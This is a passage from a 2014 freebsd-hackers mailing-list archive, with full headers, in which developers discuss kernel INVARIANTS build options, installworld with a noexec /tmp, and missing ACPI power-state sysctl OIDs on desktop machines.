C677823CC for ; Sun, 15 Jun 2014 02:14:41 +0000 (UTC) Received: from compute6.internal (compute6.nyi.mail.srv.osa [10.202.2.46]) by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id B956B20A70 for ; Sat, 14 Jun 2014 22:14:38 -0400 (EDT) Received: from frontend1 ([10.202.2.160]) by compute6.internal (MEProxy); Sat, 14 Jun 2014 22:14:38 -0400 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d= messagingengine.com; h=message-id:date:from:reply-to :mime-version:to:cc:subject:references:in-reply-to:content-type :content-transfer-encoding; s=smtpout; bh=C4x502KwaQXXUnrUMAH64a u40pI=; b=Ie0NEwjQE3n5GAInCADiAWYvPN1GUbiZOtTgGyWFKutWqwNt7MS/b8 8mURopGcbCIm2SGUwpXNX+5T/k6FofEHqNDaYfabEfHanD2winiU8BsvAXOpAuJq uiFSRaaLa0Kvfv71o4964n4q0i7LzQAiBOTCqmIuHW3dzzEzL3lPs= X-Sasl-enc: pI9WJ3ougalTN0G5QUavao/3a6LroE3rCiQeZPyCs4lJ 1402798478 Received: from [192.168.1.35] (unknown [203.206.138.26]) by mail.messagingengine.com (Postfix) with ESMTPA id C043BC00005; Sat, 14 Jun 2014 22:14:36 -0400 (EDT) Message-ID: <539D01A0.50506@freebsd.org> Date: Sun, 15 Jun 2014 12:14:56 +1000 From: Darren Reed Reply-To: darrenr@freebsd.org Organization: FreeBSD User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Chris Torek Subject: Re: FreeBSD 10.0 adaptive mutex with strange mtx_lock value = panic References: <201406141010.s5EAAtS0087393@elf.torek.net> In-Reply-To: <201406141010.s5EAAtS0087393@elf.torek.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, Mateusz Guzik X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 15 Jun 2014 02:14:42 -0000 On 14/06/2014 8:10 PM, Chris Torek wrote: >> I added "options INVARIANTS" to a kernel and recompiled.. >> >> Well, I tried to recompile - compiling ends like this: >> >> cam_periph.o: In function `cam_periph_find': >> /usr/src/sys/amd64/compile/DEBUG/../../../cam/cam_periph.c:301: >> undefined reference to `__mtx_assert' > [etc] > > The INVARIANTS option requires the INVARIANT_SUPPORT option. > > I believe INVARIANTS ought to just automatically turn on > INVARIANT_SUPPORT, really. But it's pretty minor, once you > know. Thanks and yes, I think you're right. Too bad we can't build that logic into the conf files. Darren From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 16 11:25:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 48121F8A; Mon, 16 Jun 2014 11:25:30 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mail.feld.me", Issuer "Gandi Standard SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DC20D2533; Mon, 16 Jun 2014 11:25:29 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id c6f88dcc; Mon, 16 Jun 2014 06:18:48 -0500 (CDT) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=feld.me; h=mime-version :content-type:date:from:to:cc:subject:in-reply-to:references :message-id:sender; s=blargle2; bh=96AFouek2GNifbjDzkH+W7obU0I=; b= iHOqASV3w8Il0Lp4zx+dfWkFTKX285OooAcFiRP7iRFZRaVStRt+XL5gu3IqTLvb i4iOBtZYFOMcp1oHKO2dD1taLqetRSO5FYO7dVepTZasA7K3YM09BO3C0ZQx0wjg 0eXZKFOwGWmKnODwyTog709Q9PyzS5CHvoAg/ajERzi9v/U7ymPwyq8mdO7PmcFN sELg+B1hWTFlxBpIE0nU5cL+NpigA8jV0N9Q/A98kRxNcFlTwngDA4/Hxks1u8or 5d6tNfxxk2FD9IwTZN3IVsMcXVRSJo5fTY8y676tgpZJjmYf1NDFrZdFy1TVifBx pl0aa+jGo01wFS2sbzlEiQ== DomainKey-Signature: a=rsa-sha1; c=nofws; d=feld.me; h=mime-version :content-type:date:from:to:cc:subject:in-reply-to:references :message-id:sender; q=dns; s=blargle2; b=yVHeh0lBn16pI4NkNUaKQDg +HiX+dKNZxnqrdzMlrl84mjtC6xbS/31HXsttGUkctFeMQSwos/XW/XytrpLCgZO WeMz1yLQ57gez+g5MGheLzKehf0Hlg6nXmlKg2qqSoBi3WFyw1+d7mCCTw1m21m2 UbPkwxL1wGpwsaFtNwAV2n2AASJ5r9gtqVC5HftwlgrK61YZbQQFO9PLJR/SuK+h sfa9GaP0l3FiqtQ+w16Kb/qPcnPeFPa988tRvONK7KU5ysXEzOJqIQMZpYlcpacG zPjygehfCt1PPbxws+5gEupQPr1J4J8PaO8yVWD37cSUtpCsj+LGJvevxbRqcaA= = Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id f59c315d; Mon, 16 Jun 2014 06:18:48 -0500 (CDT) Received: from feld@feld.me by mail.feld.me (Archiveopteryx 3.2.0) with esmtpa id 1402420245-26378-26375/5/1; Tue, 10 Jun 2014 17:10:45 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Date: Tue, 10 Jun 2014 12:10:44 -0500 From: Mark Felder To: Matthias Meyser Subject: Re: [RFC] Fixed installworld with noexec /tmp In-Reply-To: <5396C6A3.6050004@xenet.de> References: <25659df71b49c7b72b6f2d9a786c5ac9@shatow.net> <5396C6A3.6050004@xenet.de> Message-Id: <9256634ca32304dc48edf51e8ac5effe@mail.feld.me> X-Sender: feld@FreeBSD.org User-Agent: Roundcube Webmail/1.0.1 Sender: feld@feld.me Cc: freebsd-hackers@freebsd.org, owner-freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Jun 2014 11:25:30 -0000 On 2014-06-10 03:49, Matthias Meyser wrote: > > Would this not break installing from an "RO" mounted OBJDIR? > > We build everything on one machine an install on many machines > by nfsmounting /usr/src/, /usr/doc, /usr/obj. > All of them are mounted "RO" to prevent changes during install. > I do this as well sometimes. Is /var/tmp ever "noexec" ? Maybe that's a good candidate? From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 16 14:36:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 73EB61D9; Mon, 16 Jun 2014 14:36:43 +0000 (UTC) Received: from mail-ob0-x22a.google.com (mail-ob0-x22a.google.com [IPv6:2607:f8b0:4003:c01::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 35F482793; Mon, 16 Jun 2014 14:36:43 +0000 (UTC) Received: by mail-ob0-f170.google.com with SMTP id uz6so5840564obc.29 for ; Mon, 16 Jun 2014 07:36:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=oWx26RFOrgpanoD1eGlBA5sIlLZqdex3yXQkS+eGATY=; b=fbAb/P983BySOTuKqWcsyl1quUWC7BZOBKybbcI2KPdTLOyEXr9qdWwUgjknfRTrKQ BXJh3SPYViCEXLkK+yLWI+9W+amY2NTRLxfcGAUoKK73500q5hDVls+ZODlteXcXLDQs WMi9iGUrwxPPEhhbhJWPqMfgGDfdDdto27ZahG0BA6RjZETjbZQBw4XGvJG4netOoY6u UUIHY9JHZ54g3Vc6aBwEyZLbMnmQMmL+jrKhtDZAHaVMmeW6Xyfo3xDhhA42d48EzDrC a7iPclNDAMJZsNPxARt+qWlR+kZksCLapwMVtmJxOFLKbxdKsGq977yFPya/p016aeuJ gTgg== MIME-Version: 1.0 X-Received: by 10.182.44.233 with SMTP id h9mr2829681obm.68.1402929402497; Mon, 16 Jun 2014 07:36:42 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.75.207 with HTTP; Mon, 16 Jun 2014 07:36:42 -0700 (PDT) Date: Mon, 16 Jun 2014 16:36:42 +0200 X-Google-Sender-Auth: J2ao6J-YJnAqLBlLvQvrwYsR-AE Message-ID: Subject: sysctl hw.acpi.acline From: CeDeROM To: freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Jun 2014 14:36:43 -0000 Hello world :-) One application that I am porting needs to know the power supply information from the system. I thought using SYSCTL + ACPI would be the simplest and elegant way. But, I found out that information on the power supply is only available on the laptop machines, while on the desktop machines it does not apply. According to the "man acpi", the "hw.acpi.acline" oid tells the AC line state, so I guess desktop should always tell 1, but there is no such oid on my desktop.. Is this a bug or feature? :-) How can I tell the power source on my FreeBSD (i.e. AC, Battery, UPS)? man acpi: ... hw.acpi.acline AC line state (1 means online, 0 means on battery power). root@hexagon:~ # sysctl hw.acpi.acline sysctl: unknown oid 'hw.acpi.acline': No such file or directory root@hexagon:~ # uname -a FreeBSD hexagon 10.0-RELEASE-p3 FreeBSD 10.0-RELEASE-p3 #0: Tue May 13 18:31:10 UTC 2014 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 Any hints appreciated! :-) Tomek -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 16 15:39:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 41001506; Mon, 16 Jun 2014 15:39:57 +0000 (UTC) Received: from mail-ob0-x236.google.com (mail-ob0-x236.google.com [IPv6:2607:f8b0:4003:c01::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id ED5072DE1; Mon, 16 Jun 2014 15:39:56 +0000 (UTC) Received: by mail-ob0-f182.google.com with SMTP id nu7so6002004obb.27 for ; Mon, 16 Jun 2014 08:39:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=XgsvPi/BI34L5+5dsZ/5VLAuGAeH/xoPOfEvPs02goA=; b=nQPVDh/Uob+PuPH4Y3cKiQh50sBmpF/E5sHpyyQA1EaabJzMTMcvqrNeRYba+QyMrC DxcyqrJwxcIU2+ANjYRe9HlOpB6Ug7u7cNT16zgWJcqLUZy7zBHe2QHUTc3OTpSRVG8g CYGUuvpV8wu2CophTL+hKruDjyaxBa9+kTv5TCkJbtBrvuJYvPcALX76wNjoDU3nG6dM Y2EuoY46UUeqgqm7lWZ6HVVjy554jlzqCPAn48vlm8aFYClwkG9UliFrDo33YD7ljWFX rUbeIX7d98THreT+V2Yfk7Z4sD7oHs3H+GL85x4oAqt0zcCsSym3/580Yq3pQ3GBej4U z66A== MIME-Version: 1.0 X-Received: by 10.60.56.98 with SMTP id z2mr3581166oep.62.1402933196291; Mon, 16 Jun 2014 08:39:56 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.75.207 with HTTP; Mon, 16 Jun 2014 08:39:56 -0700 (PDT) In-Reply-To: <20140616153254.GE1187@albert.catwhisker.org> References: <20140616153254.GE1187@albert.catwhisker.org> Date: Mon, 16 Jun 2014 17:39:56 +0200 X-Google-Sender-Auth: 4J8eNZjrY6Hf0VIgztB6oag9fP8 Message-ID: Subject: Re: sysctl hw.acpi.acline From: CeDeROM To: David Wolfskill , freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Jun 2014 15:39:57 -0000 On Mon, Jun 16, 2014 at 5:32 PM, David Wolfskill wrote: > On Mon, Jun 16, 2014 at 04:36:42PM +0200, CeDeROM wrote: >> ... >> How can I tell the power source on my FreeBSD (i.e. AC, Battery, UPS)? >> >> man acpi: >> ... >> hw.acpi.acline >> AC line state (1 means online, 0 means on battery power). >> .... > > From the perspective of the running system, you should not be able to > tell (merely from the state of the power supply, at least) whether power > is being supplied by UPS or "house wiring". > > You can make that distinction by querying the state of a UPS, if one is > connected (and set up to provide power to the system in question). I am porting from Linux code that use "/sys/class/power_supply/type" and can tell "Mains", "UPS", or "Battery". It would be nice if FreeBSD had something similar :-) >From ACPI manual it seems that "hw.acpi.acline" shoud do the job, but this OID is not available on desktops.. and this is not noted anywhere that "hw.acpi.acline" is only available on a laptops.. so I am not sure if my code should depend on this OID and if this is a bug? Thanks! :-) Tomek -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 16 21:43:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D7041F9; Mon, 16 Jun 2014 21:43:58 +0000 (UTC) Received: from mail-ob0-x22e.google.com (mail-ob0-x22e.google.com [IPv6:2607:f8b0:4003:c01::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0D4D4217D; Mon, 16 Jun 2014 21:43:57 +0000 (UTC) Received: by mail-ob0-f174.google.com with SMTP id va2so6484912obc.33 for ; Mon, 16 Jun 2014 14:43:57 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=ehMrkDXWV6gL+WcEO4ZYvx6E9B46bV5I0V4+8bfjXMY=; b=NPbJ8DobHiXQyDbuC3fOVL82sBhwzDpRNpDD04s5xQC96lq4XButwmER60IysINjhS jpE2QijHRaSjxrN3N9ElKprbjg2HUWbB4KyjOXEZ+2cU3Eq/b59sACEqH8QgdY7hfSGD zwiT5LzWfoeJBYncCN5MmiSLfV63oRbrhKc+ABJuHb0iClPP0eEHilF6S982mEQ/po5Y qS3GLbN9c1elx8UAKkVuuEOPS4FLUSAZcf73sgqooy+gScXshkPM+GpURSXnpAyn9tRl kIdAoIHni4LRAZnK1jItPc8dXHHJo3A92GsHdVSBUNJvt9ZrPzRWCaJUDk6d3tAa62kK RNqA== MIME-Version: 1.0 X-Received: by 10.60.70.200 with SMTP id o8mr10627599oeu.55.1402955037387; Mon, 16 Jun 2014 14:43:57 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.75.207 with HTTP; Mon, 16 Jun 2014 14:43:57 -0700 (PDT) In-Reply-To: <539F56E9.8070809@muc.de> References: <539F56E9.8070809@muc.de> Date: Mon, 16 Jun 2014 23:43:57 +0200 X-Google-Sender-Auth: LPzl5D_npZMQzU9VoHprxdIqY68 Message-ID: Subject: Re: sysctl hw.acpi.acline From: CeDeROM To: Armin Gruner , freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Jun 2014 21:43:58 -0000 On Mon, Jun 16, 2014 at 10:43 PM, Armin Gruner wrote: > it's actually "hw.acpi.battery.state" > (the man page is indeed stale) > The value of hw.acpi.battery.state > 0 means: on AC power > 1 means: on battery > 2 means: charging Hey Armin :-) The same situation here on a desktop I get: root@hexagon:~ # sysctl hw.acpi.battery.state sysctl: unknown oid 'hw.acpi.battery.state': No such file or directory root@hexagon:~ # uname -a FreeBSD hexagon 10.0-RELEASE-p3 FreeBSD 10.0-RELEASE-p3 #0: Tue May 13 18:31:10 UTC 2014 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 Tanks! :-) Tomek -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 16 22:25:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2FFE5DE6; Mon, 16 Jun 2014 22:25:06 +0000 (UTC) Received: from mail-oa0-x22b.google.com (mail-oa0-x22b.google.com [IPv6:2607:f8b0:4003:c02::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DC4292504; Mon, 16 Jun 2014 22:25:05 +0000 (UTC) Received: by mail-oa0-f43.google.com with SMTP id o6so6699572oag.30 for ; Mon, 16 Jun 2014 15:25:05 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=Ofme2RQEBblKh7KAvCJZLjD1DvIdFEZOVwCCenh4ajk=; b=rxli+mvdXziu4HBDHzm3dNcx8B1UatPBH7sMwOG05jdmq6YCb1kqf20xq6WQd4Kw+K IyKVZlxu/ksOIXU5LdKrnbTBR2x23bcx0iHPbzyUupbfWotbKpfw7ioh4Mno7IKkdG1w QZwhp5Cc1eYNfPknBgv66tBGlajM0IHG/nbnYbk3oX5kFDCDwrI96zK8hg2oSQgV2MoE 0yVZwHgJxX0DTM29lXPs5Hk4WJ8d0h5j4mXgqvMBZCd4a1FFt83cNRqI7CJ+Sr2SnMh7 P5YqywtkpHf131E/zEEzE6vv9zuUjLQol4RVo5SJk9WHN7dZ6p+yU59xVIsb008TaHN5 j8jg== MIME-Version: 1.0 X-Received: by 10.182.230.227 with SMTP id tb3mr11018448obc.55.1402957505216; Mon, 16 Jun 2014 15:25:05 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.75.207 with HTTP; Mon, 16 Jun 2014 15:25:05 -0700 (PDT) In-Reply-To: <539F6B3F.2000308@att.net> References: <539F56E9.8070809@muc.de> <539F6B3F.2000308@att.net> Date: Tue, 17 Jun 2014 00:25:05 +0200 X-Google-Sender-Auth: WCbQhT7ij1OD3hTtyj2kHwS_5lI Message-ID: Subject: Re: sysctl hw.acpi.acline From: CeDeROM To: Anthony Jenkins Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org, Armin Gruner X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Jun 2014 22:25:06 -0000 On Tue, Jun 17, 2014 at 12:10 AM, Anthony Jenkins wrote: > The absence of hw.acpi.battery and child oids probably implies there is no battery and the system may be assumed to be on line (A/C) power. Hello Anthony! I would prefer to have that information clearly defined in the manual :-) I guessed that this is a quick fix to first check the OID existence, but if manual tells there is such OID it should be there, even if there is no battery, huh? This is why I consider this to be a bug :-) -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 16 22:16:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 55D52992 for ; Mon, 16 Jun 2014 22:16:40 +0000 (UTC) Received: from nm13.access.bullet.mail.bf1.yahoo.com (nm13.access.bullet.mail.bf1.yahoo.com [216.109.114.36]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D65FC243F for ; Mon, 16 Jun 2014 22:16:39 +0000 (UTC) Received: from [66.196.81.164] by nm13.access.bullet.mail.bf1.yahoo.com with NNFMP; 16 Jun 2014 22:10:10 -0000 Received: from [98.138.226.244] by tm10.access.bullet.mail.bf1.yahoo.com with NNFMP; 16 Jun 2014 22:10:10 -0000 Received: from [127.0.0.1] by smtp115.sbc.mail.ne1.yahoo.com with NNFMP; 16 Jun 2014 22:10:10 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=att.net; s=s1024; t=1402956610; bh=t5Zi3B/lh/booZzBRP2Fzyk/ARFQBtUTnnM276IFi5Y=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Message-ID:Date:From:User-Agent:MIME-Version:To:Subject:References:In-Reply-To:Content-Type:Content-Transfer-Encoding; b=XVk57plZpJDGakUynvwOYECgBpqDewNMVAiMHnal7PIQo3UVSD6qeMt0ybc2EfjZF69x9t1C6ldfiSKp7IaFUZhOsLcCKTfUsavdZWB2/L4SNiPyptcW9KB83ICcgq6OnfV/f2OGgtjCc3XLZhdCY1UrH/9kvwtuRVklAIB0Ihw= X-Yahoo-Newman-Id: 217920.74373.bm@smtp115.sbc.mail.ne1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: y7WElrUVM1kJx19oxi4sCwYcAcKLhvQwj.aezwpm1m2D7DZ Yd0u6NZv4V4xGqFb6yH24X2boWd00Cc7b01iJRpvAh8jnEObvGdX8ogtJ6uz O3bb5zlpGyJ_zT2wAayKVoAW_T0HJ9Kwo0DPjvCE.7Fruss7Ra8ZrxrNwieK LbsgAnYcvG8xLo2Klr5a4rDB7OVqC.WTBgX4xxFgYOMjjH3cHwoCSIXRhgjr 3kTiuGRFjjYtaQFGaFoW.NeZpBV.pQPBSlYCzNCbhJ_PiomyqdmcyYhvq6eG k7bwws7VtA7jVtT03DijNmm1vw.wASpJKFnhJA9AvO5HhX53DY1UBt1cGjIt 68LckRzum_u18ETVpVFIVKx11c4g9qtnuBua5Tcxli6Xb.WtJrPPiRVZyYCA uQN8fH6Ul4SHylIwc7nY9yhzmHfFWh5vmhhGD1AZKsPgrWvkXZ0LQzmGbAsf FanPm3Bu8E24G4l6K2ClhUNMB6tOumOZNWtanVU0j9moD7AvSmBHh2hWjhsq kGkdvNTDZhxbycTkK.DMdUWZ41_g52AfYloGwuegg8C4n7g-- X-Yahoo-SMTP: OKD1keCswBBTAmAF1s00hLyKW3wE3YfSK0Eazl6b4VZG4LTqJxg- X-Rocket-Received: from [64.100.76.53] (Anthony.B.Jenkins@64.100.76.53 with plain [98.138.84.52]) by smtp115.sbc.mail.ne1.yahoo.com with SMTP; 16 Jun 2014 22:10:10 +0000 UTC Message-ID: <539F6B3F.2000308@att.net> Date: Mon, 16 Jun 2014 18:10:07 -0400 From: Anthony Jenkins User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: CeDeROM , Armin Gruner , freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org Subject: Re: sysctl hw.acpi.acline References: <539F56E9.8070809@muc.de> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Mon, 16 Jun 2014 22:30:20 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Jun 2014 22:16:40 -0000 On 06/16/2014 17:43, CeDeROM wrote: > On Mon, Jun 16, 2014 at 10:43 PM, Armin Gruner wrote: >> it's actually "hw.acpi.battery.state" >> (the man page is indeed stale) >> The value of hw.acpi.battery.state >> 0 means: on AC power >> 1 means: on battery >> 2 means: charging > Hey Armin :-) The same situation here on a desktop I get: > > root@hexagon:~ # sysctl hw.acpi.battery.state > sysctl: unknown oid 'hw.acpi.battery.state': No such file or directory > root@hexagon:~ # uname -a > FreeBSD hexagon 10.0-RELEASE-p3 FreeBSD 10.0-RELEASE-p3 #0: Tue May 13 > 18:31:10 UTC 2014 > root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 > > Tanks! :-) > Tomek > The absence of hw.acpi.battery and child oids probably implies there is no battery and the system may be assumed to be on line (A/C) power. Anthony From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 17 00:29:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CDA4B754; Tue, 17 Jun 2014 00:29:08 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 8E4A92EF7; Tue, 17 Jun 2014 00:29:08 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s5H0T5GV005086 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 16 Jun 2014 17:29:06 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s5H0T5VP005085; Mon, 16 Jun 2014 17:29:05 -0700 (PDT) (envelope-from jmg) Date: Mon, 16 Jun 2014 17:29:05 -0700 From: John-Mark Gurney To: CeDeROM Subject: Re: sysctl hw.acpi.acline Message-ID: <20140617002905.GW31367@funkthat.com> Mail-Followup-To: CeDeROM , Anthony Jenkins , freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org, Armin Gruner References: <539F56E9.8070809@muc.de> <539F6B3F.2000308@att.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Mon, 16 Jun 2014 17:29:06 -0700 (PDT) Cc: Anthony Jenkins , freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org, Armin Gruner X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Jun 2014 00:29:08 -0000 CeDeROM wrote this message on Tue, Jun 17, 2014 at 00:25 +0200: > On Tue, Jun 17, 2014 at 12:10 AM, Anthony Jenkins > wrote: > > The absence of hw.acpi.battery and child oids probably implies there is no battery and the system may be assumed to be on line (A/C) power. > > Hello Anthony! I would prefer to have that information clearly defined > in the manual :-) I guessed that this is a quick fix to first check Which manual? > the OID existence, but if manual tells there is such OID it should be > there, even if there is no battery, huh? This is why I consider this > to be a bug :-) ACPI have tons of optional stuff that isn't required to be present, and apparently acline is one of them. Also, acline is only useful if there are multiple power sources, what if you have a desktop machine always running off a battery, if we defaulted acline=1, then you'd complain that the status is wrong... :) -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From 